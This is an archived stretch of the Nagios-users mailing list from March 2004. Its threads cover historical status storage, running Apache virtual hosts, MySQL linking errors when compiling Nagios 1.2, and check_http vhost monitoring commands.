West Almondbury Bristol BS32 4QX Tel : 01454 465600 Tel (Direct) : 01454 465661 Tel (Mobile) : 07979 913494 Fax : 01454 465601 Email : julia.mcwhirter at superh.com www : www.superh.com ------------------------------------------------------- SF.Net is sponsored by: Speed Start Your Linux Apps Now. Build and deploy apps & Web services for Linux with a free DVD software kit from IBM. Click Now! http://ads.osdn.com/?ad_id56&alloc_id438&op=ick _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id70&alloc_id638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From marc at ena.com Thu Mar 4 13:39:23 2004 From: marc at ena.com (Marc Powell) Date: Thu, 4 Mar 2004 06:39:23 -0600 Subject: Database Support - with historical data Message-ID: <370ACCFA5BB3B346A31222E5559BF91F03A2F6@mismail2.ena.com> Dhawal Doshy wrote: > Hi, > > I notice that nagios compiled with mysql support stores only the > latest value of host / service status in the servicestatus / > hoststatus tables? > Is there a way to change this behavior, i'd like to retain the data > as samples for historical reports etc.. > Not from within Nagios directly. We use Postgres and have created a trigger that copies the data to a history table on update or insert into servicestatus (all we care about for historical purposes is service status, not host status). I don't believe mysql supports triggers but perhaps there is something that is functionally equivalent? > I have seen the retention data table but wasn't able to make much > sense out of it. That's used when you shut down Nagios so it can remember the status host hosts and services when it restarts (assuming you have configured Nagios to do so). -- Marc ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id70&alloc_id638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From marc at ena.com Thu Mar 4 13:42:05 2004 From: marc at ena.com (Marc Powell) Date: Thu, 4 Mar 2004 06:42:05 -0600 Subject: running apache Message-ID: <370ACCFA5BB3B346A31222E5559BF91F03A2F7@mismail2.ena.com> prabhu.anandh at wipro.com wrote: > Hi friends, > I have already noticed when some one asked about running two > instances of apache.he got a reply that ,it can be done.i have to > host a webpage in the same machine where nagios runs.wont it > conflict.can you think it is possible.i need your guidance regarding > this issue. Thanks in advance. > regards, Why would you want to run two instances of apache for this? A better solution is Apache name-based vhosts (virtual hosts). If you require two separate instances of apache, simply create a copy of httpd.conf, edit it as you wish, remembering to change the port that it listens on so it doesn't conflict with your first installation and start apache using that new config file. -- Marc ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id70&alloc_id638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From dhawal at netmagicsolutions.com Thu Mar 4 14:04:21 2004 From: dhawal at netmagicsolutions.com (Dhawal Doshy) Date: Thu, 04 Mar 2004 18:34:21 +0530 Subject: Database Support - with historical data In-Reply-To: <370ACCFA5BB3B346A31222E5559BF91F03A2F6@mismail2.ena.com> References: <370ACCFA5BB3B346A31222E5559BF91F03A2F6@mismail2.ena.com> Message-ID: <40472955.2050200@netmagicsolutions.com> Well actually we also intend on storing only statusdata.. looks like we'll have to do with a small query every minute and dump the data into another table.. (which is a very bad idea) Is it advisable to move to postgres (on solaris 8) and also is it possible for you to share this trigger thingy? - dhawal Marc Powell wrote: >Dhawal Doshy wrote: > > >>Hi, >> >>I notice that nagios compiled with mysql support stores only the >>latest value of host / service status in the servicestatus / >>hoststatus tables? >>Is there a way to change this behavior, i'd like to retain the data >>as samples for historical reports etc.. >> >> >> > >Not from within Nagios directly. We use Postgres and have created a >trigger that copies the data to a history table on update or insert into >servicestatus (all we care about for historical purposes is service >status, not host status). I don't believe mysql supports triggers but >perhaps there is something that is functionally equivalent? > > > >>I have seen the retention data table but wasn't able to make much >>sense out of it. >> >> > > >That's used when you shut down Nagios so it can remember the status host >hosts and services when it restarts (assuming you have configured Nagios >to do so). > >-- >Marc > > >------------------------------------------------------- >This SF.Net email is sponsored by: IBM Linux Tutorials >Free Linux tutorial presented by Daniel Robbins, President and CEO of >GenToo technologies. Learn everything from fundamentals to system >administration.http://ads.osdn.com/?ad_id70&alloc_id638&op=click >_______________________________________________ >Nagios-users mailing list >Nagios-users at lists.sourceforge.net >https://lists.sourceforge.net/lists/listinfo/nagios-users >::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. >::: Messages without supporting info will risk being sent to /dev/null > > ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From prabhu.anandh at wipro.com Thu Mar 4 14:19:41 2004 From: prabhu.anandh at wipro.com (prabhu.anandh at wipro.com) Date: Thu, 4 Mar 2004 18:49:41 +0530 Subject: running apache Message-ID: <07BBBE93ECD30547BC93005AF54E2557EEA53C@blr-sjp-msg.wipro.com> Hi Marc, I appreciate your help.My doubt is, if I try with two httpd.conf wont it conflict.Do I have to put that in a different directory or how can I do that.Moreover,I have to run both simultaneously.Is it possible. Thanks in advance. regards, Prabhu Anandh -----Original Message----- From: Marc Powell [mailto:marc at ena.com] Sent: Thursday, March 04, 2004 6:12 PM To: Prabhu Anandh (WT01 - TELECOM & INTER-NETWORKING SOLUTIONS); nagios-users at lists.sourceforge.net Subject: RE: [Nagios-users] running apache prabhu.anandh at wipro.com wrote: > Hi friends, > I have already noticed when some one asked about running two instances > of apache.he got a reply that ,it can be done.i have to host a webpage > in the same machine where nagios runs.wont it conflict.can you think > it is possible.i need your guidance regarding > this issue. Thanks in advance. > regards, Why would you want to run two instances of apache for this? A better solution is Apache name-based vhosts (virtual hosts). If you require two separate instances of apache, simply create a copy of httpd.conf, edit it as you wish, remembering to change the port that it listens on so it doesn't conflict with your first installation and start apache using that new config file. -- Marc ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id70&alloc_id638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From marc at ena.com Thu Mar 4 14:24:32 2004 From: marc at ena.com (Marc Powell) Date: Thu, 4 Mar 2004 07:24:32 -0600 Subject: running apache Message-ID: <370ACCFA5BB3B346A31222E5559BF91F03A2F8@mismail2.ena.com> prabhu.anandh at wipro.com wrote: > Hi Marc, > I appreciate your help.My doubt is, if I try with two httpd.conf wont > it conflict.Do I have to put that in a different directory or how can > I do that.Moreover,I have to run both simultaneously.Is it possible. > Thanks in advance. > regards, > Prabhu Anandh Do some research on apache vhosts. That's going to be your best, easiest to implement solution. That's how the majority of the world runs multiple web sites on the same machine and there's plenty of documentation out there. -- Marc ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id70&alloc_id638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From benny at bennyvision.com Thu Mar 4 14:57:32 2004 From: benny at bennyvision.com (C. Bensend) Date: Thu, 4 Mar 2004 07:57:32 -0600 (CST) Subject: check_nagios command not picking up nagios process In-Reply-To: <742F4443-6DB0-11D8-930C-000A95989E4A@lixfeld.ca> References: <742F4443-6DB0-11D8-930C-000A95989E4A@lixfeld.ca> Message-ID: <52869.63.227.74.41.1078408674.squirrel@webmail.stinkweasel.net> > Pulled the command out of the cgi.cfg and ran it manually after the web > interface wasn't seeing the nagios process as running: > > su-2.05b# /usr/local/libexec/nagios/check_nagios -F > /var/spool/nagios/status.log -e 5 -C '/usr/local/bin/nagios -d > /usr/local/etc/nagios/nagios.cfg' > Could not locate a running Nagios process! > su-2.05b# ps xa|grep "/usr/local/bin/nagios -d > /usr/local/etc/nagios/nagios.cfg" > 8519 ?? Ss 0:00.10 /usr/local/bin/nagios -d > /usr/local/etc/nagios/nagios.cfg > 8950 p0 S+ 0:00.00 grep /usr/local/bin/nagios -d > /usr/local/etc/nagios/nagios.cfg > su-2.05b# file /var/spool/nagios/status.log > /var/spool/nagios/status.log: ASCII text > su-2.05b# This is something I've had to fiddle with on just about every Nagios server I've built so far. Try using a check command of: /usr/local/libexec/nagios/check_nagios -F /var/spool/nagios/status.log -e 5 -C 'nagios' That has worked for me before. Benny -- "Have you ever tried simply turning off the TV, sitting down with your children, and hitting them?" -- Bender, "Futurama" ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From dhawal at netmagicsolutions.com Thu Mar 4 15:00:21 2004 From: dhawal at netmagicsolutions.com (Dhawal Doshy) Date: Thu, 04 Mar 2004 19:30:21 +0530 Subject: running apache In-Reply-To: <370ACCFA5BB3B346A31222E5559BF91F03A2F8@mismail2.ena.com> References: <370ACCFA5BB3B346A31222E5559BF91F03A2F8@mismail2.ena.com> Message-ID: <40473675.7010201@netmagicsolutions.com> You need to ask these questions on some apache list.. btw you can very well run 2 or more instances of apache using different ip addresses OR differnt ports (one on 80 other on 8080 so on and so forth) Install the 2nd instance of apache using a tarball (assuming the first one was an rpm install). Install it in /usr/loca/apache or some place like that.. but like marc said you NEED to explore virtualhosts. again.. you need to ask these questions on some apache list.. - dhawal Marc Powell wrote: >prabhu.anandh at wipro.com wrote: > > >>Hi Marc, >>I appreciate your help.My doubt is, if I try with two httpd.conf wont >>it conflict.Do I have to put that in a different directory or how can >>I do that.Moreover,I have to run both simultaneously.Is it possible. >>Thanks in advance. >>regards, >>Prabhu Anandh >> >> > >Do some research on apache vhosts. That's going to be your best, easiest >to implement solution. That's how the majority of the world runs >multiple web sites on the same machine and there's plenty of >documentation out there. > >-- >Marc > > >------------------------------------------------------- >This SF.Net email is sponsored by: IBM Linux Tutorials >Free Linux tutorial presented by Daniel Robbins, President and CEO of >GenToo technologies. Learn everything from fundamentals to system >administration.http://ads.osdn.com/?ad_id70&alloc_id638&op=click >_______________________________________________ >Nagios-users mailing list >Nagios-users at lists.sourceforge.net >https://lists.sourceforge.net/lists/listinfo/nagios-users >::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. >::: Messages without supporting info will risk being sent to /dev/null > > ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From tom at goodtech.co.uk Thu Mar 4 15:07:11 2004 From: tom at goodtech.co.uk (Tom) Date: Thu, 4 Mar 2004 14:07:11 +0000 (UTC) Subject: Install error - RedHat - Nagios 1.2 Message-ID: Hi, I'm trying to install nagios-1.2 on a redhat box. I think i have done everything as i should however my 'make all' fails with # make all cd ./base && make make[1]: Entering directory `/home/tom/nagios-1.2/base' gcc -g -O2 -I/opt/mysql/include -I/opt/gd-2.0.15/include/ -Dbool=char -DHAS _BOOL -I/usr/local/include -I/usr/lib/perl5/5.00503/i386-linux/CORE -DHAVE _CONFIG_H -DNSCORE -c -o checks.o checks.c gcc -g -O2 -I/opt/mysql/include -I/opt/gd-2.0.15/include/ -Dbool=char -DHAS _BOOL -I/usr/local/include -I/usr/lib/perl5/5.00503/i386-linux/CORE -DHAVE _CONFIG_H -DNSCORE -c -o config.o config.c etc etc and then... 6-linux/CORE -DHAVE_CONFIG_H -DNSCORE -L/opt/mysql/lib -L/opt/gd-2.0.15/lib / -lmysqlclient nagios.c checks.o config.o commands.o flapping.o logging.o notifications.o sehandlers.o utils.o sretention.o ../xdata/xrddb.c ../common/comments.c ../xdata/xcddb.c ../common/objects.c ../xdata/xodtemplate.c ../common/statusdata.c ../xdata/xsddb.c perfdata.o ../xdata/xpddefault.c ../common/downtime.c ./xdata/xdddb.c -rdynamic -L/usr/local/lib /usr/lib/perl5/5.00503/i386-linux/auto/DynaLoader/DynaLoader.a -L/usr/lib/pe rl5/5.00503/i386-linux/CORE -lperl -lnsl -ldl -lm -lc -lposix -lcrypt -lm -o nagios ../xdata/xrddb.c:41: mysql/mysql.h: No such file or directory ../xdata/xrddb.c:42: mysql/errmsg.h: No such file or directory ../xdata/xcddb.c:49: mysql/mysql.h: No such file or directory ../xdata/xcddb.c:50: mysql/errmsg.h: No such file or directory ../xdata/xsddb.c:46: mysql/mysql.h: No such file or directory ../xdata/xsddb.c:47: mysql/errmsg.h: No such file or directory ../xdata/xdddb.c:49: mysql/mysql.h: No such file or directory ../xdata/xdddb.c:50: mysql/errmsg.h: No such file or directory make[1]: *** [nagios] Error 1 this is a copy of my configure command.... ./configure --prefix=/opt/nagios-1.2 --with-nagios-user=nagios --with-nagios -grp=nagios --with-mail=/bin/mail --with-init-dir=/etc/rc.d/init.d --with-lo ckfile=/opt/nagios-1.2/nagios.pid --enable-embedded-perl --with-mysql-xdata --with-mysql-status --with-mysql-comments --with-mysql-extinfo --with-mysql- retention --with-mysql-object --with-mysql-downtime --with-mysql-lib=/opt/my sql/lib --with-mysql-inc=/opt/mysql/include --with-gd-lib=/opt/gd-2.0.15/lib / --with-gd-inc=/opt/gd-2.0.15/include/ --with-cgiurl=/html/cgi-bin --with-h tmurl=/html and the result of this configure is... *** Configuration summary for nagios 1.2 02-02-2004 ***: General Options: ------------------------- Nagios executable: nagios Nagios user/group: nagios,nagios Command user/group: nagios,nagios Embedded Perl: yes, without caching Install ${prefix}: /opt/nagios-1.2 Lock file: /opt/nagios-1.2/nagios.pid Init directory: /etc/rc.d/init.d Web Interface Options: ------------------------ HTML URL: http://localhost/html/ CGI URL: http://localhost/html/cgi-bin/ Traceroute (used by WAP): /usr/sbin/traceroute External Data Routines: ------------------------ Status data: Database (MySQL) Object data: Template-based (text file) Comment data: Database (MySQL) Downtime data: Database (MySQL) Retention data: Database (MySQL) Peformance data: Default (external commands) Extended info data: Database (MySQL) can anyone help me get this installed? thanks Tom ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From dhawal at netmagicsolutions.com Thu Mar 4 15:40:18 2004 From: dhawal at netmagicsolutions.com (Dhawal Doshy) Date: Thu, 04 Mar 2004 20:10:18 +0530 Subject: Install error - RedHat - Nagios 1.2 In-Reply-To: References: Message-ID: <40473FD2.3020607@netmagicsolutions.com> The following commands should do the trick cd /usr/lib ln -s /path/to/mysql/lib mysql (the mysql at the end is important) cd /usr/include ln -s /path/to/mysql/include mysql (the mysql at the end is important) - dhawal Tom wrote: >Hi, > >I'm trying to install nagios-1.2 on a redhat box. I think i have done >everything as i should however my 'make all' fails with > ># make all >cd ./base && make >make[1]: Entering directory `/home/tom/nagios-1.2/base' >gcc -g -O2 -I/opt/mysql/include -I/opt/gd-2.0.15/include/ -Dbool=char -DHAS >_BOOL -I/usr/local/include -I/usr/lib/perl5/5.00503/i386-linux/CORE -DHAVE >_CONFIG_H -DNSCORE -c -o checks.o checks.c >gcc -g -O2 -I/opt/mysql/include -I/opt/gd-2.0.15/include/ -Dbool=char -DHAS >_BOOL -I/usr/local/include -I/usr/lib/perl5/5.00503/i386-linux/CORE -DHAVE >_CONFIG_H -DNSCORE -c -o config.o config.c > >etc etc and then... > >6-linux/CORE -DHAVE_CONFIG_H -DNSCORE -L/opt/mysql/lib -L/opt/gd-2.0.15/lib >/ -lmysqlclient nagios.c checks.o config.o commands.o flapping.o logging.o >notifications.o sehandlers.o utils.o sretention.o ../xdata/xrddb.c >../common/comments.c ../xdata/xcddb.c ../common/objects.c >../xdata/xodtemplate.c ../common/statusdata.c ../xdata/xsddb.c perfdata.o >../xdata/xpddefault.c ../common/downtime.c >./xdata/xdddb.c -rdynamic -L/usr/local/lib >/usr/lib/perl5/5.00503/i386-linux/auto/DynaLoader/DynaLoader.a -L/usr/lib/pe >rl5/5.00503/i386-linux/CORE -lperl -lnsl -ldl -lm -lc -lposix -lcrypt -lm -o >nagios >../xdata/xrddb.c:41: mysql/mysql.h: No such file or directory >../xdata/xrddb.c:42: mysql/errmsg.h: No such file or directory >../xdata/xcddb.c:49: mysql/mysql.h: No such file or directory >../xdata/xcddb.c:50: mysql/errmsg.h: No such file or directory >../xdata/xsddb.c:46: mysql/mysql.h: No such file or directory >../xdata/xsddb.c:47: mysql/errmsg.h: No such file or directory >../xdata/xdddb.c:49: mysql/mysql.h: No such file or directory >../xdata/xdddb.c:50: mysql/errmsg.h: No such file or directory >make[1]: *** [nagios] Error 1 > >this is a copy of my configure command.... > >./configure --prefix=/opt/nagios-1.2 --with-nagios-user=nagios --with-nagios >-grp=nagios --with-mail=/bin/mail --with-init-dir=/etc/rc.d/init.d --with-lo >ckfile=/opt/nagios-1.2/nagios.pid --enable-embedded-perl --with-mysql-xdata >--with-mysql-status --with-mysql-comments --with-mysql-extinfo --with-mysql- >retention --with-mysql-object --with-mysql-downtime --with-mysql-lib=/opt/my >sql/lib --with-mysql-inc=/opt/mysql/include --with-gd-lib=/opt/gd-2.0.15/lib >/ --with-gd-inc=/opt/gd-2.0.15/include/ --with-cgiurl=/html/cgi-bin --with-h >tmurl=/html > >and the result of this configure is... > >*** Configuration summary for nagios 1.2 02-02-2004 ***: > > General Options: > ------------------------- > Nagios executable: nagios > Nagios user/group: nagios,nagios > Command user/group: nagios,nagios > Embedded Perl: yes, without caching > Install ${prefix}: /opt/nagios-1.2 > Lock file: /opt/nagios-1.2/nagios.pid > Init directory: /etc/rc.d/init.d > > Web Interface Options: > ------------------------ > HTML URL: http://localhost/html/ > CGI URL: http://localhost/html/cgi-bin/ > Traceroute (used by WAP): /usr/sbin/traceroute > > External Data Routines: > ------------------------ > Status data: Database (MySQL) > Object data: Template-based (text file) > Comment data: Database (MySQL) > Downtime data: Database (MySQL) > Retention data: Database (MySQL) > Peformance data: Default (external commands) > Extended info data: Database (MySQL) > >can anyone help me get this installed? > >thanks > >Tom > > > > >------------------------------------------------------- >This SF.Net email is sponsored by: IBM Linux Tutorials >Free Linux tutorial presented by Daniel Robbins, President and CEO of >GenToo technologies. Learn everything from fundamentals to system >administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click >_______________________________________________ >Nagios-users mailing list >Nagios-users at lists.sourceforge.net >https://lists.sourceforge.net/lists/listinfo/nagios-users >::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. >::: Messages without supporting info will risk being sent to /dev/null > > ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From agrajag at dragaera.net Thu Mar 4 15:52:12 2004 From: agrajag at dragaera.net (Jag) Date: Thu, 04 Mar 2004 09:52:12 -0500 Subject: (no subject) In-Reply-To: <8258814A187BCF49BDEE435A5433B18BD8F2B1@exchange.drumbeatdigital.com> References: <8258814A187BCF49BDEE435A5433B18BD8F2B1@exchange.drumbeatdigital.com> Message-ID: <1078411931.4354.72.camel@pel> On Wed, 2004-03-03 at 17:58, Dmitry Chorine wrote: > Also > > I assume I should be able to check same host for more then one service, > right? Yes, most of my hosts have at least two services. > > >From my service.cfg > > I have this > > define service{ > use ping > host_name web > } > > define service{ > use http > host_name web > } > > >From my url > > http://mydomain/nagios/cgi-bin/status.cgi?host=all > > For some reason hostname doesn't appear, I see rest of the table > though.. For me that table is grouped by host. It'll have one line that includes all fields. Then for the other services attached to the host, it'll give them a line with all the fields except the host field. There should also be a small break between the services for one host and the services for another host. ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From agrajag at dragaera.net Thu Mar 4 15:59:28 2004 From: agrajag at dragaera.net (Jag) Date: Thu, 04 Mar 2004 09:59:28 -0500 Subject: best way to check one web server w/many vhosts In-Reply-To: References: Message-ID: <1078412368.4354.78.camel@pel> On Wed, 2004-03-03 at 19:18, Daniel Finn wrote: > I'm trying to do something like this and wondering how to do it: > > define service{ > use generic-service > host_name vhost1.com,vhost2.com,vhost3.com,vhost4.com,vhost5.com,vhost6.com,vhost7.com,vhost8.com,vhost9.com,vhost10.com > service_description Vhost-HTTP > is_volatile 0 > check_period 24x7 > max_check_attempts 3 > normal_check_interval 3 > retry_check_interval 1 > contact_groups linux-admins > notification_interval 120 > notification_period 24x7 > notification_options w,u,c,r > check_command check_http!192.168.0.1 > } > > so multiple vhosts on one IP, I would like to check the IP to ensure it's > answering for each vhost. Unfortunately when I tried to do it like this > nagios complained that : If you do 'check_http -h' you'll see that it has an option for specifying the IP address of the host, AND the vhost name to use when checking. So, you could setup a check command like so: define command{ command_name check_vhost command_line $USER1$/check_http -H $ARG1$ -I $HOSTADDRESS$ } Then you do a different service for each vhost. You put the host_name as the host_name you put in your host definition. It'll then use the IP from that host definition for $HOSTADDRESS$. Then you set your check_command to check_vhost!vhost1.com Hope that helps. ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From agrajag at dragaera.net Thu Mar 4 16:03:29 2004 From: agrajag at dragaera.net (Jag) Date: Thu, 04 Mar 2004 10:03:29 -0500 Subject: running apache In-Reply-To: <07BBBE93ECD30547BC93005AF54E2557EEA53C@blr-sjp-msg.wipro.com> References: <07BBBE93ECD30547BC93005AF54E2557EEA53C@blr-sjp-msg.wipro.com> Message-ID: <1078412609.4354.81.camel@pel> On Thu, 2004-03-04 at 08:19, prabhu.anandh at wipro.com wrote: > Hi Marc, > I appreciate your help.My doubt is, if I try with two httpd.conf wont it > conflict. I'm not sure why you need two httpd.conf files. You should be able to put everything into one file. I suggest looking through some docs on apache configuration. There are very few instances where you would need multiple copies of apache running, and I don't think nagios counts as one of tohse. ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From cal.lidderdale at mci.com Thu Mar 4 16:50:07 2004 From: cal.lidderdale at mci.com (Cal Lidderdale) Date: Thu, 04 Mar 2004 08:50:07 -0700 Subject: Minor typo ;-) Message-ID: <4047502F.30406@mci.com> xdata/xodtemplate.c line: 5836 snprintf(temp_buffer,sizeof(temp_buffer)-1,"Error: Could not add contactgroup '... 3 ea %(s/d) only 2 args :-\ $$@#$ picky compiler..... Cal ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From dhawal at netmagicsolutions.com Thu Mar 4 17:00:50 2004 From: dhawal at netmagicsolutions.com (Dhawal Doshy) Date: Thu, 04 Mar 2004 21:30:50 +0530 Subject: Install error - RedHat - Nagios 1.2 In-Reply-To: <0d3501c401f9$7a9eabc0$0401a8c0@tomspc> References: <40473FD2.3020607@netmagicsolutions.com> <0d3501c401f9$7a9eabc0$0401a8c0@tomspc> Message-ID: <404752B2.5060305@netmagicsolutions.com> hmm, this will be painful, for every 'gcc -g -O2'. that you get stuck with chdir to that directory and run the same command in the following manner. gcc -g -O2 ..-L/opt/mysql/lib -lmysqlclient -o nagios Basically change the position of "-L/opt/mysql/lib -lmysqlclient" towards the end of the compilation string just before the "-o output_binary". If you can somehow change this in the Makefile itself you wont need to do it manually. - dhawal Tom Brown wrote: >>The following commands should do the trick >> >>cd /usr/lib >>ln -s /path/to/mysql/lib mysql (the mysql at the end is important) >>cd /usr/include >>ln -s /path/to/mysql/include mysql (the mysql at the end is important) >> >> > >Hi, > >thats made things better but i'm now stuck here. > >gcc -g -O2 -I/opt/mysql/include -I/opt/gd-2.0.15/include/ -Dbool=char -DHAS >_BOOL -I/usr/local/include -I/usr/lib/perl5/5.00503/i386-linux/CORE -DHAVE >_CONFIG_H -DNSCORE -L/opt/mysql/lib -L/opt/gd-2.0.15/lib/ -lmysqlclient >nagios.c checks.o config.o commands.o flapping.o logging.o notifications.o >sehandlers.o utils.o sretention.o ../xdata/xrddb.c ../common/comments.c >../xdata/xcddb.c ../common/objects.c ../xdata/xodtemplate.c >../common/statusdata.c ../xdata/xsddb.c perfdata.o ../xdata/xpddefault.c >../common/downtime.c ../xdata/xdddb.c -rdynamic -L/usr/local/lib >/usr/lib/perl5/5.00503/i386-linux/auto/DynaLoader/DynaLoader.a -L/usr/lib/pe >rl5/5.00503/i386-linux/CORE -lperl -lnsl -ldl -lm -lc -lposix -lcrypt -lm -o >nagios >/tmp/cc8eAtQw.o: In function `xrddb_initialize': >/home/tom/nagios-1.2/base/../xdata/xrddb.c:215: undefined reference to >`mysql_init' >/tmp/cc8eAtQw.o: In function `xrddb_connect': >/home/tom/nagios-1.2/base/../xdata/xrddb.c:252: undefined reference to >`mysql_real_connect' >/home/tom/nagios-1.2/base/../xdata/xrddb.c:254: undefined reference to >`mysql_close' >/tmp/cc8eAtQw.o: In function `xrddb_disconnect': >/home/tom/nagios-1.2/base/../xdata/xrddb.c:299: undefined reference to >`mysql_close' >/tmp/cc8eAtQw.o: In function `xrddb_query': >/home/tom/nagios-1.2/base/../xdata/xrddb.c:329: undefined reference to >`mysql_query' > >any thoughts? > >Tom > > > > ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From marc at ena.com Thu Mar 4 17:02:14 2004 From: marc at ena.com (Marc Powell) Date: Thu, 4 Mar 2004 10:02:14 -0600 Subject: Database Support - with historical data Message-ID: <370ACCFA5BB3B346A31222E5559BF91F03A2FA@mismail2.ena.com> On Thursday, March 04, 2004 7:04 AM, Dhawal Doshy 